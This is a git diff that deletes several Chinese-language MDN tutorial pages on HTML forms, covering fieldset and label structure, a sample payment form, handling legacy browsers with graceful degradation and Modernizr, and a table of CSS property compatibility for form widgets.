注意: 你可以在 fieldset-legend.html (你也可以看预览版) 看到该例。

-
- -

当阅读上述表格时,屏幕阅读器将会读第一个小部件“Fruit juice size small”,“Fruit juice size medium”为第二个,“Fruit juice size large”为第三个。

- -

本例中的用例是最重要的。每当您有一组单选按钮时,您应该将它们嵌套在{{HTMLElement("fieldset")}}元素中。还有其他用例,一般来说,{{HTMLElement("fieldset")}}元素也可以用来对表单进行分段。理想情况下,长表单应该在拆分为多个页面,但是如果表单很长,却必须在单个页面上,那么将以不同的关联关系划分的分段,分别放在不同的fieldset里,可以提高可用性。

- -

因为它对辅助技术的影响, {{HTMLElement("fieldset")}} 元素是构建可访问表单的关键元素之一。无论如何,你有责任不去滥用它。如果可能,每次构建表单时,尝试侦听屏幕阅读器如何解释它。如果听起来很奇怪,试着改进表单结构。

- -

 <label> 元素

- -

正如我们在前一篇文章中看到的, {{HTMLElement("label")}} 元素是为HTML表单小部件定义标签的正式方法。如果你想构建可访问的表单,这是最重要的元素——当实现的恰当时,屏幕阅读器会连同有关的说明和表单元素的标签一起朗读。以我们在上一篇文章中看到的例子为例:

- -
<label for="name">Name:</label> <input type="text" id="name" name="user_name">
- -

<label> 标签与 <input> 通过他们各自的for 属性和 id 属性正确相关联(label的for属性和它对应的小部件的id属性),这样,屏幕阅读器会读出诸如“Name, edit text”之类的东西。

- -

如果标签没有正确设置,屏幕阅读器只会读出“Edit text blank”之类的东西,这样会没什么帮助。

- -

注意,一个小部件可以嵌套在它的{{HTMLElement("label")}}元素中,就像这样:

- -
<label for="name">
-  Name: <input type="text" id="name" name="user_name">
-</label>
- -

尽管可以这样做,但人们认为设置for属性才是最好的做法,因为一些辅助技术不理解标签和小部件之间的隐式关系。

- -

标签也可点击!

- -

正确设置标签的另一个好处是可以在所有浏览器中单击标签来激活相应的小部件。这对于像文本输入这样的例子很有用,这样你可以通过点击标签,和点击输入区效果一样,来聚焦于它,这对于单选按钮和复选框尤其有用——这种控件的可点击区域可能非常小,设置标签来使它们可点击区域变大是非常有用的。

- -

举个例子:

- -
<form>
-  <p>
-    <label for="taste_1">I like cherry</label>
-    <input type="checkbox" id="taste_1" name="taste_cherry" value="1">
-  </p>
-  <p>
-    <label for="taste_2">I like banana</label>
-    <input type="checkbox" id="taste_2" name="taste_banana" value="2">
-  </p>
-</form>
- -
-

注意: 你可以在 checkbox-label.html (你也可以看预览版) 看到该例。

-
- -

多个标签

- -

严格地说,您可以在一个小部件上放置多个标签,但是这不是一个好主意,因为一些辅助技术可能难以处理它们。在多个标签的情况下,您应该将一个小部件和它的标签嵌套在一个{{HTMLElement("label")}}元素中。

- -

让我们考虑下面这个例子:

- -
<p>Required fields are followed by <abbr title="required">*</abbr>.</p>
-
-<!--这样写:-->
-<div>
-  <label for="username">Name:</label>
-  <input type="text" name="username">
-  <label for="username"><abbr title="required">*</abbr></label>
-</div>
-
-<!--但是这样写会更好:-->
-<div>
-  <label for="username">
-    <span>Name:</span>
-    <input id="username" type="text" name="username">
-    <abbr title="required">*</abbr>
-  </label>
-</div>
-
-<!--但最好的可能是这样:-->
-<div>
-  <label for="username">Name: <abbr title="required">*</abbr></label>
-  <input id="username" type="text" name="username">
-</div>
- -

顶部的段落定义了所需元素的规则。它必须在开始时确保像屏幕阅读器这样的辅助技术在用户找到必需的元素之前显示或念出它们。这样,他们就知道星号表达的是什么意思了。根据屏幕阅读器的设置,屏幕阅读器会把星号读为“star”或“required”,取决于屏幕阅读器的设置——不管怎样,要念出来的都会在第一段清楚的呈现出来。

- - - -
-

注意:你可能会得到一些不同的结果,这取决于你的屏幕阅读器。这是在VoiceOver上测试的(NVDA的行为也类似)。我们也乐于听听你的试验结果。

-
- -
-

注意: 你可以在 GitHub 上看到 required-labels.html (你也可以看预览版)。不要运行2个或3个未注释版本的示例—— 如果您有多个标签和多个输入相同的ID,那么屏幕阅读器肯定会感到困惑!

-
- -

用于表单的通用HTML结构

- -

除了特定于HTML表单的结构之外,还应该记住表单同样是HTML。这意味着您可以使用HTML的所有强大功能来构造一个HTML表单。

- -

正如您在示例中可以看到的,用{{HTMLElement("div")}}元素包装标签和它的小部件是很常见的做法。{{HTMLElement("p")}}元素也经常被使用,HTML列表也是如此(后者在构造多个复选框或单选按钮时最为常见)。

- -

除了{{HTMLElement("fieldset")}}元素之外,使用HTML标题(例如,{{htmlelement("h1")}}、{{htmlelement("h2")}})和分段(如{{htmlelement("section")}})来构造一个复杂的表单也是一种常见的做法。

- -

最重要的是,你要找到一种你觉得很舒服的风格去码代码,而且它也能带来可访问的、可用的形式。

- -

它包含了从功能上划分开并分别包含在{{htmlelement("section")}}元素中的部分,以及一个{{htmlelement("fieldset")}}来包含单选按钮。

- -

自主学习:构建一个表单结构

- -

让我们把这些想法付诸实践,建立一个稍微复杂一点的表单结构——一个支付表单。这个表单将包含许多您可能还不了解的小部件类型—现在不要担心这个;在下一篇文章(原生表单小部件)中,您将了解它们是如何工作的。现在,当您遵循下面的指令时,请仔细阅读这些描述,并开始理解我们使用的包装器元素是如何构造表单的,以及为什么这么做。

- -
    -
  1. 在开始之前,在计算机上的一个新目录中,创建一个空白模板文件我们的支付表单的CSS样式的本地副本。
  2. -
  3. 首先,通过添加下面这行代码到你的HTML{{htmlelement("head")}}使你的HTML应用CSS。 -
    <link href="payment-form.css" rel="stylesheet">
    -
  4. -
  5. 接下来,通过添加外部{{htmlelement("form")}}元素来开始一张表单: -
    <form>
    -
    -</form>
    -
  6. -
  7. 在 <form> 标签内,以添加一个标题和段落开始,告诉用户必需的字段是如何标记的: -
    <h1>Payment form</h1>
    -<p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p>
    -
  8. -
  9. 接下来,我们将在表单中添加一个更大的代码段,在我们之前的代码下面。在这里,您将看到,我们正在将联系人信息字段包装在一个单独的{{htmlelement("section")}}元素中。此外,我们有一组两个单选按钮,每个单选按钮都放在自己的列表中({{htmlelement("li")}}))元素。最后,我们有两个标准文本{{htmlelement("input")}}和它们相关的{{htmlelement("label")}}元素,每个元素包含在{{htmlelement("p")}}中,加上输入密码的密码输入。现在将这些代码添加到您的表单中: -
    <section>
    -    <h2>Contact information</h2>
    -    <fieldset>
    -      <legend>Title</legend>
    -      <ul>
    -          <li>
    -            <label for="title_1">
    -              <input type="radio" id="title_1" name="title" value="K" >
    -              King
    -            </label>
    -          </li>
    -          <li>
    -            <label for="title_2">
    -              <input type="radio" id="title_2" name="title" value="Q">
    -              Queen
    -            </label>
    -          </li>
    -          <li>
    -            <label for="title_3">
    -              <input type="radio" id="title_3" name="title" value="J">
    -              Joker
    -            </label>
    -          </li>
    -      </ul>
    -    </fieldset>
    -    <p>
    -      <label for="name">
    -        <span>Name: </span>
    -        <strong><abbr title="required">*</abbr></strong>
    -      </label>
    -      <input type="text" id="name" name="username">
    -    </p>
    -    <p>
    -      <label for="mail">
    -        <span>E-mail: </span>
    -        <strong><abbr title="required">*</abbr></strong>
    -      </label>
    -      <input type="email" id="mail" name="usermail">
    -    </p>
    -    <p>
    -      <label for="pwd">
    -        <span>Password: </span>
    -        <strong><abbr title="required">*</abbr></strong>
    -      </label>
    -      <input type="password" id="pwd" name="password">
    -    </p>
    -</section>
    -
  10. -
  11. 现在,我们将转到表单的第二个<section>——支付信息。在这里,我们有三个不同的小部件以及它们的标签,每个都包含在一个<p>中。第一个是选择信用卡类型的下拉菜单({{htmlelement("select")}})。第二个是输入一个信用卡号的类型编号的 <input> 元素。最后一个是输入date类型的<input> 元素,用来输入卡片的过期日期(这将在支持的浏览器中出现一个日期选择器小部件,并在非支持的浏览器中回退到普通的文本输入)。同样,在之前的代码后面输入以下内容: -
    <section>
    -    <h2>Payment information</h2>
    -    <p>
    -      <label for="card">
    -        <span>Card type:</span>
    -      </label>
    -      <select id="card" name="usercard">
    -        <option value="visa">Visa</option>
    -        <option value="mc">Mastercard</option>
    -        <option value="amex">American Express</option>
    -      </select>
    -    </p>
    -    <p>
    -      <label for="number">
    -        <span>Card number:</span>
    -        <strong><abbr title="required">*</abbr></strong>
    -      </label>
    -        <input type="number" id="number" name="cardnumber">
    -    </p>
    -    <p>
    -      <label for="date">
    -        <span>Expiration date:</span>
    -        <strong><abbr title="required">*</abbr></strong>
    -        <em>formatted as mm/yy</em>
    -      </label>
    -      <input type="date" id="date" name="expiration">
    -    </p>
    -</section>
    -
  12. -
  13. 我们要添加的最后一个部分要简单得多,它只包含了一个submit类型的 {{htmlelement("button")}} ,用于提交表单数据。现在把这个添加到你的表单的底部: -
    <p> <button type="submit">Validate the payment</button> </p>
    -
  14. -
- -

您可以在下面看到已完成的表单 (你可以在Github上看到源码预览版):

- -

{{EmbedLiveSample("A_payment_form","100%",620, "", "Learn/HTML/Forms/How_to_structure_an_HTML_form/Example")}}

- -

总结

- -

现在,您已经具备了正确地构造HTML表单所需的所有知识;下一篇文章将深入介绍各种不同类型的表单小部件,您将希望从用户那里收集信息。

- -

另见

- - - -

{{PreviousMenuNext("Learn/HTML/Forms/Your_first_HTML_form", "Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/html/forms/html_forms_in_legacy_browsers/index.html b/files/zh-cn/learn/html/forms/html_forms_in_legacy_browsers/index.html deleted file mode 100644 index d6045e0d70..0000000000 --- a/files/zh-cn/learn/html/forms/html_forms_in_legacy_browsers/index.html +++ /dev/null @@ -1,215 +0,0 @@ ---- -title: 旧式浏览器中的HTML 表单 -slug: Learn/HTML/Forms/HTML_forms_in_legacy_browsers -translation_of: Learn/Forms/HTML_forms_in_legacy_browsers ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}
- -

所有 web 开发者很快就会(有时候是痛苦地)发现网络是一个令人不快的地方。我们碰到的最恶毒的诅咒是旧式浏览器。好吧,让我们承认吧,当我们提到 “旧式浏览器” 时,脑海中出现就是 老版本的 Internet Explorer ……但是,这远远不是全部。只发布一年的 Firefox 比如 the ESR version 也是旧式浏览器。那么,在移动世界呢?当浏览器和 OS(操作系统) 都不能更新时?是的,有非常多老版本的 Android 手机或 iPhone 没有更新到最新的浏览器。它们同样是旧式浏览器。

- -

可悲的是,处理这些传统浏览器的问题是工作的一部分。幸运的是,有一些技巧可以帮助您解决旧式浏览器导致的大约80%的问题。

- -

了解这些问题

- -

实际上,最重要的事情是阅读那些浏览器的文档,并尝试理解通用的(解决)模式。例如,在许多情况下,HTML表单是否支持CSS是最大的问题。这是正确的开始,只需要检查你想用的元素或接口是否支持CSS即可。MDN有一个关于包含HTML中可用的元素、属性或API的兼容表单可查。 此外,仍有其他一些非常有用的资源:

- -

浏览器厂商的文档

- - - -

独立文档

- - - -

让事情变得更简单

- -

由于HTML forms 包含复杂的交互,所以有一条法则: keep it as simple as possible。很多时候,我们想让表单更美观或想使用更高级的技术,然而,构建高效的HTML表单不只是设计和技术问题。记得花时间读一下这篇文章t forms usability on UX For The Masses.

- -

优雅地降级(Graceful degradation)是web开发者最好的朋友

- -

Graceful degradation and progressive enhancement 是一个开发模式,它允许你通过同时支持多种浏览器来构建优秀内容。当你为现代浏览器构建内容时,你想确保它能在旧式浏览器中以某种方式工作,这就是优雅地降级(graceful degradation).

- -

让我们看一些关于HTML表单的例子:

- -

HTML input 类型

- -

HTML5引入的新input类型十分酷,因为他们的降级(degrade)是高度可预测的。如果一个浏览器不能理解  {{HTMLElement("input")}}元素的 {{htmlattrxref("type","input")}} 属性, 它将会后退到text一样的行为。

- -
<label for="myColor">
-  Pick a color
-  <input type="color" id="myColor" name="color">
-</label>
- - - - - - - - - - - - - - -
Chrome 24Firefox 18
Screen shot of the color input on Chrome for Mac OSXScreen shot of the color input on Firefox for Mac OSX
- -

CSS 属性选择器

- -

CSS属性选择器  在 HTML Forms 中十分有用,然而旧式浏览器不支持. 在那种情形下,一般会习惯性使用等价的class:

- -
<input type="number" class="number">
- -
input[type=number] {
-  /* 这在一些浏览器中是不能执行的 */
-}
-
-input.number {
-  /* 可以在任何浏览器中执行 */
-}
- -

注意下面的写法没有用(由于它是重复的),在某些浏览器中会失败:

- -
input[type=number],
-input.number {
-  /* 在某些浏览器中,这可能会失败,因为如果他们不理解其中任何一个选择器,则跳过整个规则 */
-}
- -

表单按钮

- -

有两种定义HTML表单按钮的方式:

- - - -

如果你想通过元素选择器在按钮上应用CSS的话,采用 {{HTMLElement("input")}} 元素的方式会让事情变得稍微有点复杂:

- -
<input type="button" class="button" value="click me">
- -
input {
-  /* 此规则关闭了input元素定义的按钮的默认渲染样式 */
-  border: 1px solid #CCC;
-}
-
-input.button {
-  /* 这条规则不会恢复默认渲染*/
-  border: none;
-}
-
-input.button {
-  /* 这条也不会(恢复)! 实际上在浏览器中没有标准方式实现这一目标 */
-  border: auto;
-}
- -

{{HTMLElement("button")}} 元素有两个问题令人困扰:

- - - -
<!-- 某些情形下,点击按钮将发送 "<em>Do A</em>" 而不是值"A" -->
-<button type="submit" name="IWantTo" value="A">
-  <em>Do A</em>
-</button>
- -

给予你的工程限制来选择上述任一种解决方案。

- -

让我们过一遍CSS

- -

HTML表单和旧式浏览器最大的问题是CSS的兼容性。正如你可以从这篇文章 Property compatibility table for form widgets 中看到的复杂性, 它非常的困难。即使仍然可以对文本元素(如大小、字体颜色等)进行一些调整,但那样做会有副作用。最好的办法还是不要美化HTML表单小组件。但你仍然可以将样式应用到表单周围的项目上。如果你是一个专业人士,并且你的客户需要那么做,在这种情况下,你可以研究一些硬技能,如 rebuilding widgets with JavaScript。但在那种情况下,最好还是毫不犹豫的让客户收回这些愚蠢的决定

- -

功能检测和模拟(polyfills)

- -

尽管JavaScript在现代浏览中是非常棒的技术,但在旧式浏览器中可能存在很多的问题。

- -

Unobtrusive JavaScript

- -

API的兼容性是最大的问题。由于这个原因,与"不引人注意的(unobtrusive)" JavaScript一起工作被认为是最佳实践(译者注:此处意思是说没有/忽略JS或JS出了问题也能工作)。这个开发模式定义了两个需求:

- - - -

The principles of unobtrusive JavaScript (最早是由Peter-Paul Koch为 Dev.Opera.com 所撰写,现在已转移到 Docs.WebPlatform.org) 同样阐述了上述观点。

- -

Modernizr 库

- -

有很多情形,好的"polyfill"能通过提供缺少的API以提供帮助。一个 polyfill 是一些JavaScript(脚本) 用于填补旧式浏览器中的功能缺失。虽然它们可以用来改进对任何功能的支持,并且使用它们Nederland风险小于CSS和HTML,然而,JS仍然会在很多情况下不工作(网络问题,脚本冲突等)。但是对于JavaScript,如果你总是记住和unobetructive的Javascript一起工作,不适用polyfill也没什么大不了。

- -

最好的polyfill缺失API的方式是使用Modernizr 库以及它的子项目 YepNope. Modernizr 库允许您测试功能可用性,以便采取相应的行动。YepNope 是一个条件加载库。

- -

下面是一个例子:

- -
Modernizr.load({
-  // 这会测试您的浏览器是否支持HTML5表单验证API
-  test : Modernizr.formvalidation,
-
-  // 如果浏览器不支持它,则会加载以下polyfill
-  nope : form-validation-API-polyfill.js,
-
-  // 无论如何,你的核心App文件依赖于该API被加载
-  both : app.js,
-
-  // 一旦加载了这两个文件,就会调用该函数来初始化应用程序
-  complete : function () {
-    app.init();
-  }
-});
- -

Modernizr 团队按照惯例维护着a list of great polyfills。仅仅按需使用即可。

- -
-

Note: Modernizr还有其他很棒的功能可以帮助您处理unobstructive的JavaScript和优雅的降级技术。请阅读 Modernizr documentation.

-
- -

注意性能

- -

尽管像Modernizr这样的脚本对性能非常敏感,但加载200千字节的polyfill仍然会影响程序的性能。这对旧式浏览器来说尤其重要,这些浏览器有处理速度非常慢的JavaScript引擎,让polyfills的执行对于用户来说变得很痛苦。性能本身就是一个主题,但旧式浏览器对它非常敏感:基本上,它们速度慢,需要的poliyfill越多,它们需要处理的JavaScript越多。与现代浏览器相比,它们承受双重负担。使用旧版浏览器测试你的代码,了解它们的实际表现。有时,放弃某些功能会带来更好的用户体验,而不是在所有浏览器中具有完全相同的功能。作为最后提醒,总是优先考虑用户。

- -

总结

- -

正如你所看到的,处理旧式浏览器不仅仅是表单问题。而是一整套技术;但是掌握所有这些技术超出了本文的范围。

- -

如果你阅读了HTML Forms guide中的所有文章,你应该可以放心的使用表单了。如果你想探索新技术,请帮助improve the guide.

- -

{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/zh-cn/learn/html/forms/index.html b/files/zh-cn/learn/html/forms/index.html deleted file mode 100644 index ad51eafa35..0000000000 --- a/files/zh-cn/learn/html/forms/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: HTML表单指南 -slug: Learn/HTML/Forms -tags: - - Forms - - HTML - - NeedsTranslation - - TopicStub -translation_of: Learn/Forms ---- -
{{LearnSidebar}}
- -

这个模块提供了一系列帮助您掌握HTML表单的文章。HTML表单是与用户交互的强大工具;然而,由于历史和技术上的原因,如何充分发挥它们的潜力并不总是显而易见的。在本指南中,我们将介绍HTML表单的所有方面,从结构到样式,从数据处理到自定义小部件。

- -

预备知识

- -

在开始这个模块之前,您至少应该完成我们对HTML的介绍。此时此刻,您应该会发现{{anch("基本指南")}}很容易理解,并且能够使用我们的原生表单小部件指南。

- -

但是模块的其余部分更高级一些,很容易将表单小部件放在页面上,但是如果不使用高级表单特性、CSS和JavaScript,就不能对它们做太多的工作。因此,在您查看其他部分之前,我们建议您先离开,先学习一些CSSJavaScript

- -
-

注意:如果您正在使用一个不能让您创建自己的文件的计算机/平板电脑/其它设备,那么您可以尝试(大多数)在线编码程序中的代码示例,例如JSBinThimble

-
- -

基本指南

- -
-
你的第一个HTML表单
-
本系列的第一篇文章提供了您第一次创建HTML表单的经验,包括设计一个简单表单,使用正确的HTML元素实现它,通过CSS添加一些非常简单的样式,以及如何将数据发送到服务器。
-
如何构造HTML表单
-
有了基础知识,我们现在更详细地了解了用于为表单的不同部分提供结构和意义的元素。
-
- -

什么表单小部件可用?

- -
-
原生表单小部件
-
现在,我们详细研究了不同表单部件的功能,查看了哪些选项可用于收集不同类型的数据。
-
- -

验证和提交表单数据

- -
-
发送表单数据
-
本文讨论当用户提交一个表单时,会发生什么情况——表单数据的去向以及当表单数据到达指定位置时我们如何处理?我们还研究了与发送表单数据相关的一些安全问题。
-
表单数据验证
-
发送数据还不够,我们还需要确保数据用户填写表单的格式是正确的,我们需要成功地处理它,而且它不会破坏我们的应用程序。我们还希望帮助用户正确填写表单,在使用应用程序时不要感到沮丧。表单验证帮助我们实现这些目标,本文将告诉您需要了解的内容。
-
- -

高级指南

- -
-
如何构建自定表单小组件
-
在某些情况下,原生表单部件无法提供您需要的东西,例如,由于样式或功能。在这种情况下,您可能需要使用原生HTML构建自己的表单小部件。本文将说明您是如何做到这一点的,以及在实际案例研究中需要注意的事项。
-
通过JavaScript发送表单
-
本文将讨论如何使用表单来组装HTTP请求,并通过定制的JavaScript发送它,而不是标准的表单提交。它还研究了为什么要这么做,以及这样做的意义。(请参阅使用FormData对象。)
-
遗留浏览器中的HTML表单
-
文章覆盖特性检测等。这应该被重定向到跨浏览器测试模块,因为相同的东西在那里被更好地覆盖。
-
- -

表单样式指南

- -
-
HTML表单样式
-
本文介绍了使用CSS的样式表单,包括您可能需要了解的基本样式任务的所有基础知识。
-
高级HTML表单样式
-
在这里,我们将看到一些更高级的表单样式技术,这些技术需要在处理一些更难以风格的元素时使用。
-
表单部件的属性兼容性表
-
这最后一篇文章提供了一个方便的参考,允许您查看哪些CSS属性与哪些表单元素是兼容的。
-
- -

另见

- - diff --git a/files/zh-cn/learn/html/forms/property_compatibility_table_for_form_widgets/index.html b/files/zh-cn/learn/html/forms/property_compatibility_table_for_form_widgets/index.html deleted file mode 100644 index 31f8075f5b..0000000000 --- a/files/zh-cn/learn/html/forms/property_compatibility_table_for_form_widgets/index.html +++ /dev/null @@ -1,1988 +0,0 @@ ---- -title: 表单组件兼容性列表 -slug: Learn/HTML/Forms/Property_compatibility_table_for_form_widgets -translation_of: Learn/Forms/Property_compatibility_table_for_form_controls ---- -
{{learnsidebar}}{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}
- -

下面的兼容性表格尝试总结 HTML 表单的 CSS 支持状况。由于 CSS 和 HTML 表单的复杂性,不能把这些表格当作完善的参考。但是,它们可以让你很好地洞察什么能做什么不能做,这将会对你学习使用有很好地帮助。

- -

如何阅读表格

- -

- -

对于每个属性,有四种可能地取值:

- -
-
YES
-
此属性具有相当一致的跨浏览器支持。在某些极端情况下,你可能仍然会面临奇怪的副作用。
-
PARTIAL
-
尽管这个属性会生效,你还是会经常面对奇怪的副作用和不一致性。你应该尽力避免这些属性,除非你已经深知那些副作用。
-
NO
-
此属性就是不工作或者表现得非常不一致,所以并不可靠。
-
N.A.
-
此属性对这种类型的组件没有意义。
-
- -

渲染

- -

对于每个属性有两种可能的渲染方式:

- -
-
N (Normal)
-
表示这个属性会像设置的那样应用。
-
T (Tweaked)
-
表示这个属性需要通过下列的额外规则来使用:
-
- -
* {
-/* This turn off the native look and feel on WebKit based browsers */
-  -webkit-appearance: none;
-
-/* This turn off the native look and feel on Gecko based browsers */
-  -moz-appearance: none;
-
-/* This turn off the native look and feel on several different browsers
-   including Opera, Internet Explorer and Firefox */
-  background: none;
-}
- -

兼容性表格

- -

Global behaviors

- -

对许多浏览器来说,许多行为在全局范围内都是通用的:

- -
-
{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}
-
任意属性可能影响组件部分或全部的原生外观。小心使用。
-
{{cssxref("line-height")}}
-
不同浏览器支持不同,避免使用
-
{{cssxref("text-decoration")}}
-
Opera表单不支持
-
{{cssxref("text-overflow")}}
-
Opera, Safari,  IE9 表单不支持
-
{{cssxref("text-shadow")}}
-
Opera 和 IE9 不支持
-
- -

Text fields

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1][2]Yes -
    -
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. -
  3. 在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. -
-
{{cssxref("border")}}Partial[1][2]Yes -
    -
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. -
  3. 在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. -
-
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1][2]Yes -
    -
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. -
  3. 在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. -
-
Text and font
{{cssxref("color")}}[1]YesYes -
    -
  1. 如果 {{cssxref("border-color")}} 属性没有设置,一些基于 WebKit 的浏览器会将 {{cssxref("color")}} 属性应用到边框上,颜色和 {{HTMLElement("textarea")}} 的字体颜色一样。
  2. -
-
{{cssxref("font")}}YesYes查看有关 {{cssxref("line-height")}} 的注释
{{cssxref("letter-spacing")}}YesYes 
{{cssxref("text-align")}}YesYes 
{{cssxref("text-decoration")}}PartialPartial查看有关 Opera 的注释
{{cssxref("text-indent")}}Partial[1]Partial[1] -
    -
  1. IE9 只在 {{HTMLElement("textarea")}} 上支持这个属性,而 Opera 只在单行文本域中支持。
  2. -
-
{{cssxref("text-overflow")}}PartialPartial 
{{cssxref("text-shadow")}}PartialPartial 
{{cssxref("text-transform")}}YesYes 
Border and background
{{cssxref("background")}}Partial[1]Yes -
    -
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. -
  3. 在 Windows 7上, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. -
-
{{cssxref("border-radius")}}Partial[1][2]Yes -
    -
  1. WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 -webkit-appearance:none 才能将这个属性应用到搜索域上。
  2. -
  3. 在 Windows 7上, Internet Explorer 9 不会应用到边框上,除非 background:none 已应用。
  4. -
  5. 在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用
  6. -
-
{{cssxref("box-shadow")}}NoPartial[1] -
    -
  1. IE9 不支持这个属性
  2. -
-
- -

Buttons

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1]Yes -
    -
  1. 这个属性不能应用于 Mac OSX or iOS 上基于 WebKit 的浏览器。
  2. -
-
{{cssxref("border")}}PartialYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Yes -
    -
  1. 这个属性不能应用于 Mac OSX or iOS 上基于 WebKit 的浏览器。
  2. -
-
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}YesYes查看{{cssxref("line-height")}} 的注意事项。
{{cssxref("letter-spacing")}}YesYes 
{{cssxref("text-align")}}NoNo 
{{cssxref("text-decoration")}}PartialYes 
{{cssxref("text-indent")}}YesYes 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}PartialPartial 
{{cssxref("text-transform")}}YesYes 
Border and background
{{cssxref("background")}}YesYes 
{{cssxref("border-radius")}}Yes[1]Yes[1] -
    -
  1. 在 Opera 上,只有当边框明确设定时 {{cssxref("border-radius")}} 属性才会应用
  2. -
-
{{cssxref("box-shadow")}}NoPartial[1] -
    -
  1. IE9 不支持这个属性
  2. -
-
- -

Number

- -

在实现了 number 组件的浏览器上,并没有一种标准的方式改变数字组件的样式,值得注意的是 Safari 上的数字输入框不在这个范围内。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}YesYes 
{{cssxref("height")}}Partial[1]Partial[1] -
    -
  1. 在 Opera 上,数字选择器缩小时,可能会隐藏域中内容。
  2. -
-
{{cssxref("border")}}YesYes 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}Partial[1]Partial[1] -
    -
  1. 在 Opera 上,数字选择器缩小时,可能会隐藏域中内容。
  2. -
-
Text and font
{{cssxref("color")}}YesYes 
{{cssxref("font")}}YesYes查看{{cssxref("line-height")}} 的注意事项。
{{cssxref("letter-spacing")}}YesYes 
{{cssxref("text-align")}}YesYes 
{{cssxref("text-decoration")}}PartialPartial 
{{cssxref("text-indent")}}YesYes 
{{cssxref("text-overflow")}}NoNo 
{{cssxref("text-shadow")}}PartialPartial 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}NoNo -

支持,但浏览器之间的不一致性太多,所以并不可靠。

-
{{cssxref("border-radius")}}NoNo
{{cssxref("box-shadow")}}NoNo
- -

Check boxes and radio buttons

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}No[1]No[1] -
    -
  1. 一些浏览器会添加额外的边缘,另一些会拉伸组件。
  2. -
-
{{cssxref("height")}}No[1]No[1] -
    -
  1. 一些浏览器会添加额外的边缘,另一些会拉伸组件。
  2. -
-
{{cssxref("border")}}NoNo 
{{cssxref("margin")}}YesYes 
{{cssxref("padding")}}NoNo 
Text and font
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Border and background
{{cssxref("background")}}NoNo 
{{cssxref("border-radius")}}NoNo 
{{cssxref("box-shadow")}}NoNo 
- -

Select boxes (single line)

- -

Firefox 不提供任何方式改变 {{HTMLElement("select")}} 元素的下箭头。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyNTNote
CSS box model
{{cssxref("width")}}Partial[1]Partial[1] -
    -
  1. 这个属性在 {{HTMLElement("select")}} 元素上一切正常,但不能用于 {{HTMLElement("option")}} 或者 {{HTMLElement("optgroup")}} 元素。
  2. -
-
{{cssxref("height")}}NoYes 
{{cssxref("border")}}PartialYes 
{{cssxref("margin")}}YesYes 
